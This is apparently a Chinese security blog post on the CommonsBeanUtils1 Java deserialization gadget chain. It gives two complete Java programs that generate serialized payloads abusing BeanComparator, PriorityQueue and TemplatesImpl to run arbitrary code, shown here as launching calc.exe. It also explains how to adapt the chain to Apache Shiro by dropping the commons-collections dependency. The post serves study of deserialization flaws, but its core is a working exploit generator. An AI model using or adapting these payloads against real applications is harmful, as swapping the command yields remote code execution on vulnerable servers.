跳转至
#java  #java安全  #反序列化 
本文阅读量 

反序列化之CommonsBeanUtils1#

CommonsBeanUtils1的后半段还是我们熟悉的老朋友TemplatesImpl,只要触发到其newTransformer方法,后面的链就和CC2之类的一样了,而CB1触发newTransformer的方法是getOutputProperties,所以CommonsBeanUtils的前半段主要是围绕如何通过readObject触发getter方法展开

参考文章: CommonsBeanutils与无commons-collections的Shiro反序列化利用

了解Apache Commons Beanutils#

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
JavaBean实际上就是一个类的写法规范,其一个特征是类中所有属性都是私有的,通过setter和getter方法来设置和获取属性

比如以下一个Cat类:

final public class Cat {
    private String name = "catalina";

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意JavaBean的getter方法,比如:
PropertyUtils.getProperty(new Cat(), "name");

主角登场: BeanComparator#

这个是CommonsBeanUtils中的一个比较类,其compare方法很有意思,会调用PropertyUtils.getProperty方法:

public int compare( final T o1, final T o2 ) {

    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }

    try {
        final Object value1 = PropertyUtils.getProperty( o1, property );
        final Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    catch ( final IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    }
    catch ( final InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( final NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    }
}

根据之前的学习我们知道CC2链中入口是以PriorityQueue,主要的承接方法就是某个Comparer的compare方法,所以我们可以使用这个BeanComparer构造出新的链:
package top.longlone;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static TemplatesImpl generateTemplates(String code) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        // 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(code);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 转换为bytes
        byte[] classBytes = cc.toBytecode();
        return newTemplatesWithClassBytes(classBytes);
    }

    private static TemplatesImpl newTemplatesWithClassBytes(byte[] classBytes) throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name" + System.nanoTime());
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }



    public static byte[] getPayload() throws Exception {
        TemplatesImpl obj = generateTemplates("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] payload = getPayload();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
        ois.readObject();
    }
}

在shiro下利用的坑点#

  1. Shiro中自带的commons-beanutils与我们本地的版本不一致,就可能在反序列化时出现serialVersionUID对应不上的问题
  2. commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

解决第一个坑点#

解决第一个坑点很简单,将依赖版本替换就可以,还有一种方式是通过自定义ClassLoader来做隔离

解决第二个坑点#

我们来看看我们这条链究竟是哪里用到了commons-collections的依赖:

当我们没有提供comparator时,他会使用commons-collections的Comparator。为了解决这个问题,我们需要寻找一个新的Comparator,它要满足以下条件:
- 实现java.util.Comparator接口
- 实现java.io.Serializable接口
- Java、shiro或commons-beanutils自带,且兼容性强

结合参考文章,我们找到了CaseInsensitiveComparator这个类,同时我们可以很简单地通过String.CASE_INSENSITIVE_ORDER拿到上下文中的CaseInsensitiveComparator对象:

将链稍作修改,修改BeanComparator的实例化参数,即可成功在shiro中执行任意代码:

package top.longlone;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static TemplatesImpl generateTemplates(String code) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        // 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(code);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 转换为bytes
        byte[] classBytes = cc.toBytecode();
        return newTemplatesWithClassBytes(classBytes);
    }

    private static TemplatesImpl newTemplatesWithClassBytes(byte[] classBytes) throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name" + System.nanoTime());
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }



    public static byte[] getPayload() throws Exception {
        TemplatesImpl obj = generateTemplates("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] payload = getPayload();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
        ois.readObject();
    }
}

调用逻辑#

PriorityQueue.readObject()
  PriorityQueue.heapify()
  PriorityQueue.siftDown()
  PriorityQueue.siftDownUsingComparator()
  comparator.compare() === BeanComparator.compare()
    TemplatesImpl.getOutputProperties()
      TemplatesImpl.newTransformer()
        TemplatesImpl.getTransletInstance() 
          TemplatesImpl.defineTransletClasses()  // 定义类
        ...  // 创建类实例,触发static代码块
回到页面顶部